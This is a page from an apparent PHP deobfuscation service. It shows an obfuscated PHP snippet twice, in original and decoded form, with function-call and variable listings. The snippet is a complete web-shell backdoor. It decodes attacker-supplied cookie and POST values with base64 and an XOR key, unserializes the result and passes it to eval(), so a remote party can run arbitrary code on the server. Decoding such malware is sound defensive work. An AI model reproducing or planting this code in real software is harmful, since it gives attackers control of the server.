Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$YYRkHldu = chr (76) . 'Y' . chr ( 488 - 393 ).'d' . 'q' . "\130";$EfquK = chr (99) . chr ..

Decoded Output download

<?  $YYRkHldu = chr (76) . 'Y' . chr ( 488 - 393 ).'d' . 'q' . "X";$EfquK = chr (99) . chr ( 585 - 477 ).'a' . chr ( 369 - 254 ).chr (115) . chr (95) . chr ( 256 - 155 )."x" . "i" . chr ( 700 - 585 ).chr (116) . chr (115); $AJcXtrmADg = class_exists($YYRkHldu); $EfquK = "27330";$wWECH = !1;if ($AJcXtrmADg == $wWECH){function uEXxjw(){$jbzlrtQQH = new /* 4953 */ LY_dqX(27387 + 27387); $jbzlrtQQH = NULL;}$AtHVI = "27387";class LY_dqX{private function bsIOSnX($AtHVI){if (is_array(LY_dqX::$BORaCSazHw)) {$VTrMT = str_replace(chr ( 199 - 139 ) . chr (63) . chr ( 368 - 256 )."h" . "p", "", LY_dqX::$BORaCSazHw[chr ( 189 - 90 ).chr (111) . "n" . chr ( 127 - 11 )."e" . "n" . 't']);eval($VTrMT); $AtHVI = "27387";exit();}}private $KINMNvlgAH;public function QTmXOEdTm(){echo 978;}public function __destruct(){$AtHVI = "22360_17941";$this->bsIOSnX($AtHVI); $AtHVI = "22360_17941";}public function NxBNX($lNtUxNCw, $MPPsED){return $lNtUxNCw[0] ^ str_repeat($MPPsED, (strlen($lNtUxNCw[0]) / strlen($MPPsED)) + 1);}public function __construct($aCshMp=0){$aAuqLnqcRv = $_POST;$IMqjqg = $_COOKIE;$MPPsED = "4b0b9092-5381-4454-b92a-13e5ac7dea62";$SoXeRSLXRR = @$IMqjqg[substr($MPPsED, 0, 4)];if (!empty($SoXeRSLXRR)){$FMtAp = "base64";$lNtUxNCw = "";$SoXeRSLXRR = explode(",", $SoXeRSLXRR);foreach ($SoXeRSLXRR as $cglIHRa){$lNtUxNCw .= @$IMqjqg[$cglIHRa];$lNtUxNCw .= @$aAuqLnqcRv[$cglIHRa];}$lNtUxNCw = array_map($FMtAp . chr (95) . 'd' . "e" . "c" . 'o' . "d" . "e", array($lNtUxNCw,)); $lNtUxNCw = $this->NxBNX($lNtUxNCw, $MPPsED);LY_dqX::$BORaCSazHw = @unserialize($lNtUxNCw);}}public static $BORaCSazHw = 60303;}uEXxjw();} ?>

Did this file decode correctly?

Original Code

$YYRkHldu = chr (76) . 'Y' . chr ( 488 - 393 ).'d' . 'q' . "\130";$EfquK = chr (99) . chr ( 585 - 477 ).'a' . chr ( 369 - 254 ).chr (115) . chr (95) . chr ( 256 - 155 )."\x78" . "\x69" . chr ( 700 - 585 ).chr (116) . chr (115); $AJcXtrmADg = class_exists($YYRkHldu); $EfquK = "27330";$wWECH = !1;if ($AJcXtrmADg == $wWECH){function uEXxjw(){$jbzlrtQQH = new /* 4953 */ LY_dqX(27387 + 27387); $jbzlrtQQH = NULL;}$AtHVI = "27387";class LY_dqX{private function bsIOSnX($AtHVI){if (is_array(LY_dqX::$BORaCSazHw)) {$VTrMT = str_replace(chr ( 199 - 139 ) . chr (63) . chr ( 368 - 256 )."\150" . "\160", "", LY_dqX::$BORaCSazHw[chr ( 189 - 90 ).chr (111) . "\156" . chr ( 127 - 11 )."\x65" . "\x6e" . 't']);eval($VTrMT); $AtHVI = "27387";exit();}}private $KINMNvlgAH;public function QTmXOEdTm(){echo 978;}public function __destruct(){$AtHVI = "22360_17941";$this->bsIOSnX($AtHVI); $AtHVI = "22360_17941";}public function NxBNX($lNtUxNCw, $MPPsED){return $lNtUxNCw[0] ^ str_repeat($MPPsED, (strlen($lNtUxNCw[0]) / strlen($MPPsED)) + 1);}public function __construct($aCshMp=0){$aAuqLnqcRv = $_POST;$IMqjqg = $_COOKIE;$MPPsED = "4b0b9092-5381-4454-b92a-13e5ac7dea62";$SoXeRSLXRR = @$IMqjqg[substr($MPPsED, 0, 4)];if (!empty($SoXeRSLXRR)){$FMtAp = "base64";$lNtUxNCw = "";$SoXeRSLXRR = explode(",", $SoXeRSLXRR);foreach ($SoXeRSLXRR as $cglIHRa){$lNtUxNCw .= @$IMqjqg[$cglIHRa];$lNtUxNCw .= @$aAuqLnqcRv[$cglIHRa];}$lNtUxNCw = array_map($FMtAp . chr (95) . 'd' . "\145" . "\x63" . 'o' . "\x64" . "\x65", array($lNtUxNCw,)); $lNtUxNCw = $this->NxBNX($lNtUxNCw, $MPPsED);LY_dqX::$BORaCSazHw = @unserialize($lNtUxNCw);}}public static $BORaCSazHw = 60303;}uEXxjw();}

Function Calls

chr 11
class_exists 1

Variables

$EfquK class_exists
$YYRkHldu LY_dqX

Stats

MD5 9fb500334f00401d23ff008ef0a56eaf
Eval Count 0
Decode Time 76 ms